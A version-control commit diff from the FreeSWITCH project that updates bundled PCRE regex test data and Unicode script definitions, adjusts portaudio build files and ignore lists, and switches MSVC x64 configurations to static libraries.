--- freeswitch/branches/seven/libs/pcre/testdata/testoutput8	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput8	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1028,4 +1028,264 @@
     \x{85}
  0: \x{85}
 
+/^abc./mgx8<any>
+    abc1 \x0aabc2 \x0babc3xx \x0cabc4 \x0dabc5xx \x0d\x0aabc6 \x{0085}abc7 \x{2028}abc8 \x{2029}abc9 JUNK
+ 0: abc1
+ 0: abc2
+ 0: abc3
+ 0: abc4
+ 0: abc5
+ 0: abc6
+ 0: abc7
+ 0: abc8
+ 0: abc9
+
+/abc.$/mgx8<any>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x{0085} abc7\x{2028} abc8\x{2029} abc9
+ 0: abc1
+ 0: abc2
+ 0: abc3
+ 0: abc4
+ 0: abc5
+ 0: abc6
+ 0: abc7
+ 0: abc8
+ 0: abc9
+
+/^a\Rb/8<bsr_unicode>
+    a\nb
+ 0: a\x{0a}b
+    a\rb
+ 0: a\x{0d}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x0bb
+ 0: a\x{0b}b
+    a\x0cb
+ 0: a\x{0c}b
+    a\x{85}b   
+ 0: a\x{85}b
+    a\x{2028}b 
+ 0: a\x{2028}b
+    a\x{2029}b 
+ 0: a\x{2029}b
+    ** Failers
+No match
+    a\n\rb    
+No match
+
+/^a\R*b/8<bsr_unicode>
+    ab
+ 0: ab
+    a\nb
+ 0: a\x{0a}b
+    a\rb
+ 0: a\x{0d}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x0bb
+ 0: a\x{0b}b
+    a\x0c\x{2028}\x{2029}b
+ 0: a\x{0c}\x{2028}\x{2029}b
+    a\x{85}b   
+ 0: a\x{85}b
+    a\n\rb    
+ 0: a\x{0a}\x{0d}b
+    a\n\r\x{85}\x0cb 
+ 0: a\x{0a}\x{0d}\x{85}\x{0c}b
+
+/^a\R+b/8<bsr_unicode>
+    a\nb
+ 0: a\x{0a}b
+    a\rb
+ 0: a\x{0d}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x0bb
+ 0: a\x{0b}b
+    a\x0c\x{2028}\x{2029}b
+ 0: a\x{0c}\x{2028}\x{2029}b
+    a\x{85}b   
+ 0: a\x{85}b
+    a\n\rb    
+ 0: a\x{0a}\x{0d}b
+    a\n\r\x{85}\x0cb 
+ 0: a\x{0a}\x{0d}\x{85}\x{0c}b
+    ** Failers
+No match
+    ab  
+No match
+
+/^a\R{1,3}b/8<bsr_unicode>
+    a\nb
+ 0: a\x{0a}b
+    a\n\rb
+ 0: a\x{0a}\x{0d}b
+    a\n\r\x{85}b
+ 0: a\x{0a}\x{0d}\x{85}b
+    a\r\n\r\nb 
+ 0: a\x{0d}\x{0a}\x{0d}\x{0a}b
+    a\r\n\r\n\r\nb 
+ 0: a\x{0d}\x{0a}\x{0d}\x{0a}\x{0d}\x{0a}b
+    a\n\r\n\rb
+ 0: a\x{0a}\x{0d}\x{0a}\x{0d}b
+    a\n\n\r\nb 
+ 0: a\x{0a}\x{0a}\x{0d}\x{0a}b
+    ** Failers
+No match
+    a\n\n\n\rb
+No match
+    a\r
+No match
+
+/\h+\V?\v{3,4}/8 
+    \x09\x20\x{a0}X\x0a\x0b\x0c\x0d\x0a
+ 0: \x{09} \x{a0}X\x{0a}\x{0b}\x{0c}\x{0d}
+ 1: \x{09} \x{a0}X\x{0a}\x{0b}\x{0c}
+
+/\V?\v{3,4}/8 
+    \x20\x{a0}X\x0a\x0b\x0c\x0d\x0a
+ 0: X\x{0a}\x{0b}\x{0c}\x{0d}
+ 1: X\x{0a}\x{0b}\x{0c}
+
+/\h+\V?\v{3,4}/8
+    >\x09\x20\x{a0}X\x0a\x0a\x0a<
+ 0: \x{09} \x{a0}X\x{0a}\x{0a}\x{0a}
+
+/\V?\v{3,4}/8
+    >\x09\x20\x{a0}X\x0a\x0a\x0a<
+ 0: X\x{0a}\x{0a}\x{0a}
+
+/\H\h\V\v/8
+    X X\x0a
+ 0: X X\x{0a}
+    X\x09X\x0b
+ 0: X\x{09}X\x{0b}
+    ** Failers
+No match
+    \x{a0} X\x0a   
+No match
+    
+/\H*\h+\V?\v{3,4}/8 
+    \x09\x20\x{a0}X\x0a\x0b\x0c\x0d\x0a
+ 0: \x{09} \x{a0}X\x{0a}\x{0b}\x{0c}\x{0d}
+ 1: \x{09} \x{a0}X\x{0a}\x{0b}\x{0c}
+    \x09\x20\x{a0}\x0a\x0b\x0c\x0d\x0a
+ 0: \x{09} \x{a0}\x{0a}\x{0b}\x{0c}\x{0d}
+ 1: \x{09} \x{a0}\x{0a}\x{0b}\x{0c}
+    \x09\x20\x{a0}\x0a\x0b\x0c
+ 0: \x{09} \x{a0}\x{0a}\x{0b}\x{0c}
+    ** Failers 
+No match
+    \x09\x20\x{a0}\x0a\x0b
+No match
+     
+/\H\h\V\v/8
+    \x{3001}\x{3000}\x{2030}\x{2028}
+ 0: \x{3001}\x{3000}\x{2030}\x{2028}
+    X\x{180e}X\x{85}
+ 0: X\x{180e}X\x{85}
+    ** Failers
+No match
+    \x{2009} X\x0a   
+No match
+    
+/\H*\h+\V?\v{3,4}/8 
+    \x{1680}\x{180e}\x{2007}X\x{2028}\x{2029}\x0c\x0d\x0a
+ 0: \x{1680}\x{180e}\x{2007}X\x{2028}\x{2029}\x{0c}\x{0d}
+ 1: \x{1680}\x{180e}\x{2007}X\x{2028}\x{2029}\x{0c}
+    \x09\x{205f}\x{a0}\x0a\x{2029}\x0c\x{2028}\x0a
+ 0: \x{09}\x{205f}\x{a0}\x{0a}\x{2029}\x{0c}\x{2028}
+ 1: \x{09}\x{205f}\x{a0}\x{0a}\x{2029}\x{0c}
+    \x09\x20\x{202f}\x0a\x0b\x0c
+ 0: \x{09} \x{202f}\x{0a}\x{0b}\x{0c}
+    ** Failers 
+No match
+    \x09\x{200a}\x{a0}\x{2028}\x0b
+No match
+     
+/a\Rb/I8<bsr_anycrlf>
+Capturing subpattern count = 0
+Options: bsr_anycrlf utf8
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x{0d}b
+    a\nb
+ 0: a\x{0a}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    ** Failers
+No match
+    a\x{85}b
+No match
+    a\x0bb     
+No match
+
+/a\Rb/I8<bsr_unicode>
+Capturing subpattern count = 0
+Options: bsr_unicode utf8
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x{0d}b
+    a\nb
+ 0: a\x{0a}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x{85}b
+ 0: a\x{85}b
+    a\x0bb     
+ 0: a\x{0b}b
+    ** Failers 
+No match
+    a\x{85}b\<bsr_anycrlf>
+No match
+    a\x0bb\<bsr_anycrlf>
+No match
+    
+/a\R?b/I8<bsr_anycrlf>
+Capturing subpattern count = 0
+Options: bsr_anycrlf utf8
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x{0d}b
+    a\nb
+ 0: a\x{0a}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    ** Failers
+No match
+    a\x{85}b
+No match
+    a\x0bb     
+No match
+
+/a\R?b/I8<bsr_unicode>
+Capturing subpattern count = 0
+Options: bsr_unicode utf8
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x{0d}b
+    a\nb
+ 0: a\x{0a}b
+    a\r\nb
+ 0: a\x{0d}\x{0a}b
+    a\x{85}b
+ 0: a\x{85}b
+    a\x0bb     
+ 0: a\x{0b}b
+    ** Failers 
+No match
+    a\x{85}b\<bsr_anycrlf>
+No match
+    a\x0bb\<bsr_anycrlf>
+No match
+ 
+/X/8f<any> 
+    A\x{1ec5}ABCXYZ
+ 0: X
+
 / End of testinput 8 / 

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput9 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testoutput9	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput9	2009-08-09 18:53:22 UTC (rev 14472)
@@ -271,7 +271,7 @@
 No match
   
 /^\p{Cs}/8
-    \x{dfff}
+    \?\x{dfff}
  0: \x{dfff}
     ** Failers
 No match
@@ -285,7 +285,7 @@
 No match
     Z
 No match
-    \x{dfff}  
+    \x{e000}  
 No match
   
 /^\p{Lm}/8
@@ -1624,4 +1624,50 @@
      AXY      
 No match
 
+/^\x{023a}+?(\x{0130}+)/8i
+  \x{023a}\x{2c65}\x{0130}
+ 0: \x{23a}\x{2c65}\x{130}
+  
+/^\x{023a}+([^X])/8i
+  \x{023a}\x{2c65}X
+ 0: \x{23a}\x{2c65}
+ 
+/\x{c0}+\x{116}+/8i
+    \x{c0}\x{e0}\x{116}\x{117}
+ 0: \x{c0}\x{e0}\x{116}\x{117}
+ 1: \x{c0}\x{e0}\x{116}
+
+/[\x{c0}\x{116}]+/8i
+    \x{c0}\x{e0}\x{116}\x{117}
+ 0: \x{c0}\x{e0}\x{116}\x{117}
+ 1: \x{c0}\x{e0}\x{116}
+ 2: \x{c0}\x{e0}
+ 3: \x{c0}
+
+/Check property support in non-UTF-8 mode/
+ 
+/\p{L}{4}/
+    123abcdefg
+ 0: abcd
+    123abc\xc4\xc5zz
+ 0: abc\xc4
+
+/\p{Carian}\p{Cham}\p{Kayah_Li}\p{Lepcha}\p{Lycian}\p{Lydian}\p{Ol_Chiki}\p{Rejang}\p{Saurashtra}\p{Sundanese}\p{Vai}/8
+    \x{102A4}\x{AA52}\x{A91D}\x{1C46}\x{10283}\x{1092E}\x{1C6B}\x{A93B}\x{A8BF}\x{1BA0}\x{A50A}====
+ 0: \x{102a4}\x{aa52}\x{a91d}\x{1c46}\x{10283}\x{1092e}\x{1c6b}\x{a93b}\x{a8bf}\x{1ba0}\x{a50a}
+
+/\x{a77d}\x{1d79}/8i
+    \x{a77d}\x{1d79}
+ 0: \x{a77d}\x{1d79}
+    \x{1d79}\x{a77d} 
+ 0: \x{1d79}\x{a77d}
+
+/\x{a77d}\x{1d79}/8
+    \x{a77d}\x{1d79}
+ 0: \x{a77d}\x{1d79}
+    ** Failers 
+No match
+    \x{1d79}\x{a77d} 
+No match
+
 / End / 

Copied: freeswitch/branches/seven/libs/pcre/testdata/wintestinput3 (from rev 14471, freeswitch/trunk/libs/pcre/testdata/wintestinput3) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/wintestinput3	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/testdata/wintestinput3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,91 @@
+/^[\w]+/
+    *** Failers
+    \xC9cole
+
+/^[\w]+/Lfrench
+    \xC9cole
+
+/^[\w]+/
+    *** Failers
+    \xC9cole
+
+/^[\W]+/
+    \xC9cole
+
+/^[\W]+/Lfrench
+    *** Failers
+    \xC9cole
+
+/[\b]/
+    \b
+    *** Failers
+    a
+
+/[\b]/Lfrench
+    \b
+    *** Failers
+    a
+
+/^\w+/
+    *** Failers
+    \xC9cole
+
+/^\w+/Lfrench
+    \xC9cole
+
+/(.+)\b(.+)/
+    \xC9cole
+
+/(.+)\b(.+)/Lfrench
+    *** Failers
+    \xC9cole
+
+/\xC9cole/i
+    \xC9cole
+    *** Failers
+    \xE9cole
+
+/\xC9cole/iLfrench
+    \xC9cole
+    \xE9cole
+
+/\w/IS
+
+/\w/ISLfrench
+
+/^[\xc8-\xc9]/iLfrench
+    \xC9cole
+    \xE9cole
+
+/^[\xc8-\xc9]/Lfrench
+    \xC9cole
+    *** Failers 
+    \xE9cole
+
+/\W+/Lfrench
+    >>>\xaa<<<
+    >>>\xba<<< 
+
+/[\W]+/Lfrench
+    >>>\xaa<<<
+    >>>\xba<<< 
+
+/[^[:alpha:]]+/Lfrench
+    >>>\xaa<<<
+    >>>\xba<<< 
+
+/\w+/Lfrench
+    >>>\xaa<<<
+    >>>\xba<<< 
+
+/[\w]+/Lfrench
+    >>>\xaa<<<
+    >>>\xba<<< 
+
+/[[:alpha:]]+/Lfrench
+    >>>\xaa<<<
+    >>>\xba<<< 
+    
+/[[:alpha:]][[:lower:]][[:upper:]]/DZLfrench 
+
+/ End of testinput3 /

Copied: freeswitch/branches/seven/libs/pcre/testdata/wintestoutput3 (from rev 14471, freeswitch/trunk/libs/pcre/testdata/wintestoutput3) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/wintestoutput3	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/testdata/wintestoutput3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,164 @@
+/^[\w]+/
+    *** Failers
+No match
+    \xC9cole
+No match
+
+/^[\w]+/Lfrench
+    \xC9cole
+ 0: \xC9cole
+
+/^[\w]+/
+    *** Failers
+No match
+    \xC9cole
+No match
+
+/^[\W]+/
+    \xC9cole
+ 0: \xc9
+
+/^[\W]+/Lfrench
+    *** Failers
+ 0: *** 
+    \xC9cole
+No match
+
+/[\b]/
+    \b
+ 0: \x08
+    *** Failers
+No match
+    a
+No match
+
+/[\b]/Lfrench
+    \b
+ 0: \x08
+    *** Failers
+No match
+    a
+No match
+
+/^\w+/
+    *** Failers
+No match
+    \xC9cole
+No match
+
+/^\w+/Lfrench
+    \xC9cole
+ 0: \xC9cole
+
+/(.+)\b(.+)/
+    \xC9cole
+ 0: \xc9cole
+ 1: \xc9
+ 2: cole
+
+/(.+)\b(.+)/Lfrench
+    *** Failers
+ 0: *** Failers
+ 1: *** 
+ 2: Failers
+    \xC9cole
+No match
+
+/\xC9cole/i
+    \xC9cole
+ 0: \xc9cole
+    *** Failers
+No match
+    \xE9cole
+No match
+
+/\xC9cole/iLfrench
+    \xC9cole
+ 0: \xC9cole
+    \xE9cole
+ 0: \xE9cole
+
+/\w/IS
+Capturing subpattern count = 0
+No options
+No first char
+No need char
+Starting byte set: 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P 
+  Q R S T U V W X Y Z _ a b c d e f g h i j k l m n o p q r s t u v w x y z 
+
+/\w/ISLfrench
+Capturing subpattern count = 0
+No options
+No first char
+No need char
+Starting byte set: 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P 
+  Q R S T U V W X Y Z _ a b c d e f g h i j k l m n o p q r s t u v w x y z 
+  \x83 \x8A \x8C \x8E \x9A \x9C \x9E \x9F \xAA \xB2 \xB3 \xB5 \xB9 \xBA \xC0 \xC1 \xC2 \xC3 \xC4 \xC5 \xC6 \xC7 \xC8 \xC9 \xCA \xCB \xCC \xCD \xCE \xCF \xD0 \xD1 \xD2 \xD3 \xD4 \xD5 \xD6 
+  \xD8 \xD9 \xDA \xDB \xDC \xDD \xDE \xDF \xE0 \xE1 \xE2 \xE3 \xE4 \xE5 \xE6 \xE7 \xE8 \xE9 \xEA \xEB \xEC \xED \xEE \xEF \xF0 \xF1 \xF2 \xF3 \xF4 \xF5 \xF6 \xF8 \xF9 \xFA \xFB \xFC \xFD 
+  \xFE \xFF 
+
+/^[\xc8-\xc9]/iLfrench
+    \xC9cole
+ 0: \xC9
+    \xE9cole
+ 0: \xE9
+
+/^[\xc8-\xc9]/Lfrench
+    \xC9cole
+ 0: \xC9
+    *** Failers 
+No match
+    \xE9cole
+No match
+
+/\W+/Lfrench
+    >>>\xaa<<<
+ 0: >>>
+    >>>\xba<<< 
+ 0: >>>
+
+/[\W]+/Lfrench
+    >>>\xaa<<<
+ 0: >>>
+    >>>\xba<<< 
+ 0: >>>
+
+/[^[:alpha:]]+/Lfrench
+    >>>\xaa<<<
+ 0: >>>
+    >>>\xba<<< 
+ 0: >>>
+
+/\w+/Lfrench
+    >>>\xaa<<<
+ 0: \xAA
+    >>>\xba<<< 
+ 0: \xBA
+
+/[\w]+/Lfrench
+    >>>\xaa<<<
+ 0: \xAA
+    >>>\xba<<< 
+ 0: \xBA
+
+/[[:alpha:]]+/Lfrench
+    >>>\xaa<<<
+ 0: \xAA
+    >>>\xba<<< 
+ 0: \xBA
+    
+/[[:alpha:]][[:lower:]][[:upper:]]/DZLfrench 
+------------------------------------------------------------------
+        Bra
+        [A-Za-z\x83\x8a\x8c\x8e\x9a\x9c\x9e\x9f\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\xff]
+        [a-z\x83\x9a\x9c\x9e\xaa\xb5\xba\xdf-\xf6\xf8-\xff]
+        [A-Z\x8a\x8c\x8e\x9f\xc0-\xd6\xd8-\xde]
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+No options
+No first char
+No need char
+
+/ End of testinput3 /

Modified: freeswitch/branches/seven/libs/pcre/ucp.h (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/ucp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/ucp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,8 @@
 #define _UCP_H
 
 /* This file contains definitions of the property values that are returned by
-the function _pcre_ucp_findprop(). */
+the UCD access macros. New values that are added for new releases of Unicode
+should always be at the end of each enum, for backwards compatibility. */
 
 /* These are the general character categories. */
 
@@ -118,7 +119,25 @@
   ucp_Tibetan,
   ucp_Tifinagh,
   ucp_Ugaritic,
-  ucp_Yi
+  ucp_Yi,
+  /* New for Unicode 5.0: */
+  ucp_Balinese,
+  ucp_Cuneiform,
+  ucp_Nko,
+  ucp_Phags_Pa,
+  ucp_Phoenician,
+  /* New for Unicode 5.1: */
+  ucp_Carian,
+  ucp_Cham,
+  ucp_Kayah_Li,
+  ucp_Lepcha,
+  ucp_Lycian,
+  ucp_Lydian,
+  ucp_Ol_Chiki,
+  ucp_Rejang,
+  ucp_Saurashtra,
+  ucp_Sundanese,
+  ucp_Vai
 };
 
 #endif

Property changes: freeswitch/branches/seven/libs/portaudio


Name: svn:ignore
   - config.log
.complete
portaudio-2.0.pc
lib
bin
Makefile
config.status
lib-stamp
bin-stamp
libtool
autom4te.cache
   + config.log
.complete
portaudio-2.0.pc
lib
bin
Makefile
config.status
lib-stamp
bin-stamp
libtool
autom4te.cache
configure
config.guess
config.sub
ltmain.sh
aclocal.m4
install-sh
depcomp
missing
configure.lineno

Modified: freeswitch/branches/seven/libs/portaudio/Makefile.in (14471 => 14472)


--- freeswitch/branches/seven/libs/portaudio/Makefile.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/portaudio/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -40,7 +40,9 @@
 PALIB = libportaudio.la
 PAINC = include/portaudio.h
 
-PA_LDFLAGS = $(LDFLAGS) $(SHARED_FLAGS) -rpath $(libdir) -no-undefined -export-symbols-regex "(Pa|PaMacCore)_.*" -version-info $(LT_CURRENT):$(LT_REVISION):$(LT_AGE)
+PA_LDFLAGS = $(LDFLAGS) -rpath $(libdir) -no-undefined -export-symbols-regex "(Pa|PaMacCore)_.*" -version-info $(LT_CURRENT):$(LT_REVISION):$(LT_AGE)
+# we are building disable-shared but its still inserting flags for shared libs???
+# $(SHARED_FLAGS)
 #MAKEFILE = Makefile
 
 COMMON_OBJS = \

Copied: freeswitch/branches/seven/libs/portaudio/acinclude.m4 (from rev 14471, freeswitch/trunk/libs/portaudio/acinclude.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/portaudio/acinclude.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/portaudio/acinclude.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+
+
+dnl PKG_CHECK_MODULES(GSTUFF, gtk+-2.0 >= 1.3 glib = 1.3.4, action-if, action-not)
+dnl defines GSTUFF_LIBS, GSTUFF_CFLAGS, see pkg-config man page
+dnl also defines GSTUFF_PKG_ERRORS on error
+AC_DEFUN([PKG_CHECK_MODULES], [
+  succeeded=no
+
+  if test -z "$PKG_CONFIG"; then
+    AC_PATH_PROG(PKG_CONFIG, pkg-config, no)
+  fi
+
+  if test "$PKG_CONFIG" = "no" ; then
+     echo "*** The pkg-config script could not be found. Make sure it is"
+     echo "*** in your path, or set the PKG_CONFIG environment variable"
+     echo "*** to the full path to pkg-config."
+     echo "*** Or see http://www.freedesktop.org/software/pkgconfig to get pkg-config."
+  else
+     PKG_CONFIG_MIN_VERSION=0.9.0
+     if $PKG_CONFIG --atleast-pkgconfig-version $PKG_CONFIG_MIN_VERSION; then
+        AC_MSG_CHECKING(for $2)
+
+        if $PKG_CONFIG --exists "$2" ; then
+            AC_MSG_RESULT(yes)
+            succeeded=yes
+
+            AC_MSG_CHECKING($1_CFLAGS)
+            $1_CFLAGS=`$PKG_CONFIG --cflags "$2"`
+            AC_MSG_RESULT($$1_CFLAGS)
+
+            AC_MSG_CHECKING($1_LIBS)
+            $1_LIBS=`$PKG_CONFIG --libs "$2"`
+            AC_MSG_RESULT($$1_LIBS)
+        else
+            $1_CFLAGS=""
+            $1_LIBS=""
+            ## If we have a custom action on failure, don't print errors, but 
+            ## do set a variable so people can do so.
+            $1_PKG_ERRORS=`$PKG_CONFIG --errors-to-stdout --print-errors "$2"`
+            ifelse([$4], ,echo $$1_PKG_ERRORS,)
+        fi
+
+        AC_SUBST($1_CFLAGS)
+        AC_SUBST($1_LIBS)
+     else
+        echo "*** Your version of pkg-config is too old. You need version $PKG_CONFIG_MIN_VERSION or newer."
+        echo "*** See http://www.freedesktop.org/software/pkgconfig"
+     fi
+  fi
+
+  if test $succeeded = yes; then
+     ifelse([$3], , :, [$3])
+  else
+     ifelse([$4], , AC_MSG_ERROR([Library requirements ($2) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them.]), [$4])
+  fi
+])
+
+
+

Deleted: freeswitch/branches/seven/libs/portaudio/aclocal.m4

Property changes: freeswitch/branches/seven/libs/portaudio/bindings/cpp


Name: svn:ignore
   + configure
Makefile.in
autom4te.cache
aclocal.m4

Deleted: freeswitch/branches/seven/libs/portaudio/bindings/cpp/Makefile.in

Deleted: freeswitch/branches/seven/libs/portaudio/bindings/cpp/aclocal.m4

Property changes: freeswitch/branches/seven/libs/portaudio/bindings/cpp/bin


Name: svn:ignore
   + Makefile.in

Deleted: freeswitch/branches/seven/libs/portaudio/bindings/cpp/bin/Makefile.in

Deleted: freeswitch/branches/seven/libs/portaudio/bindings/cpp/configure

Property changes: freeswitch/branches/seven/libs/portaudio/bindings/cpp/doc


Name: svn:ignore
   + Makefile.in

Deleted: freeswitch/branches/seven/libs/portaudio/bindings/cpp/doc/Makefile.in

Property changes: freeswitch/branches/seven/libs/portaudio/bindings/cpp/include


Name: svn:ignore
   + Makefile.in

Deleted: freeswitch/branches/seven/libs/portaudio/bindings/cpp/include/Makefile.in

Property changes: freeswitch/branches/seven/libs/portaudio/bindings/cpp/lib


Name: svn:ignore
   + Makefile.in

Deleted: freeswitch/branches/seven/libs/portaudio/bindings/cpp/lib/Makefile.in

Modified: freeswitch/branches/seven/libs/portaudio/build/msvc/portaudio.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/portaudio/build/msvc/portaudio.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/portaudio/build/msvc/portaudio.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -99,7 +99,7 @@
 			Name="Release|x64"
 			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
 			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="2"
+			ConfigurationType="4"
 			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
 			UseOfMFC="0"
 			ATLMinimizesCRunTimeLibraryUsage="false"
@@ -130,7 +130,7 @@
 				Optimization="2"
 				InlineFunctionExpansion="1"
 				AdditionalIncludeDirectories="..\..\src\common,..\..\include,.\,..\..\src\os\win"
-				PreprocessorDefinitions="WIN32;NDEBUG;_USRDLL;PA_ENABLE_DEBUG_OUTPUT;_CRT_SECURE_NO_DEPRECATE;PAWIN_USE_WDMKS_DEVICE_INFO"
+				PreprocessorDefinitions="WIN32;NDEBUG;_USRDLL;PA_ENABLE_DEBUG_OUTPUT;_CRT_SECURE_NO_DEPRECATE;PA_NO_ASIO;PA_NO_DS;PAWIN_USE_WDMKS_DEVICE_INFO"
 				StringPooling="true"
 				RuntimeLibrary="2"
 				EnableFunctionLevelLinking="true"
@@ -153,25 +153,12 @@
 				Name="VCPreLinkEventTool"
 			/>
 			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="ksuser.lib"
-				OutputFile="$(PlatformName)\$(ConfigurationName)\portaudio_x64.dll"
-				LinkIncremental="1"
-				SuppressStartupBanner="true"
-				ModuleDefinitionFile=".\portaudio.def"
-				ProgramDatabaseFile="$(PlatformName)\$(ConfigurationName)/portaudio_x64.pdb"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
-				ImportLibrary="$(PlatformName)\$(ConfigurationName)/portaudio_x64.lib"
-				TargetMachine="17"
+				Name="VCLibrarianTool"
 			/>
 			<Tool
 				Name="VCALinkTool"
 			/>
 			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
 				Name="VCXDCMakeTool"
 			/>
 			<Tool
@@ -183,9 +170,6 @@
 				Name="VCFxCopTool"
 			/>
 			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
@@ -270,7 +254,7 @@
 			Name="Debug|x64"
 			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
 			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="2"
+			ConfigurationType="4"
 			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
 			UseOfMFC="0"
 			ATLMinimizesCRunTimeLibraryUsage="false"
@@ -300,7 +284,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="..\..\src\common,..\..\include,.\"
-				PreprocessorDefinitions="WIN32;_DEBUG;_USRDLL;PA_ENABLE_DEBUG_OUTPUT;_CRT_SECURE_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;_DEBUG;_USRDLL;PA_ENABLE_DEBUG_OUTPUT;_CRT_SECURE_NO_DEPRECATE;PA_NO_ASIO;PA_NO_DS"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -324,25 +308,12 @@
 				Name="VCPreLinkEventTool"
 			/>
 			<Tool
-				Name="VCLinkerTool"
-				OutputFile="$(PlatformName)\$(ConfigurationName)\portaudio_x64.dll"
-				LinkIncremental="2"
-				SuppressStartupBanner="true"
-				ModuleDefinitionFile=".\portaudio.def"
-				GenerateDebugInformation="true"
-				ProgramDatabaseFile="$(PlatformName)\$(ConfigurationName)/portaudio_x64.pdb"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
-				ImportLibrary="$(PlatformName)\$(ConfigurationName)\portaudio_x64.lib"
-				TargetMachine="17"
+				Name="VCLibrarianTool"
 			/>
 			<Tool
 				Name="VCALinkTool"
 			/>
 			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
 				Name="VCXDCMakeTool"
 			/>
 			<Tool
@@ -354,9 +325,6 @@
 				Name="VCFxCopTool"
 			/>
 			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
@@ -1527,6 +1495,7 @@
 						</FileConfiguration>
 						<FileConfiguration
 							Name="Release|x64"
+							ExcludedFromBuild="true"
 							>
 							<Tool
 								Name="VCCLCompilerTool"
@@ -1546,6 +1515,7 @@
 						</FileConfiguration>
 						<FileConfiguration
 							Name="Debug|x64"
+							ExcludedFromBuild="true"
 							>
 							<Tool
 								Name="VCCLCompilerTool"
@@ -1610,6 +1580,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Release|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1629,6 +1600,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Debug|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1690,6 +1662,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Release|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1709,6 +1682,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Debug|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1770,6 +1744,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Release|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1789,6 +1764,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Debug|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1850,6 +1826,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Release|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1869,6 +1846,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Debug|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1930,6 +1908,7 @@
 							</FileConfiguration>
 							<FileConfiguration
 								Name="Release|x64"
+								ExcludedFromBuild="true"
 								>
 								<Tool
 									Name="VCCLCompilerTool"
@@ -1949,6 +1928,7 @@
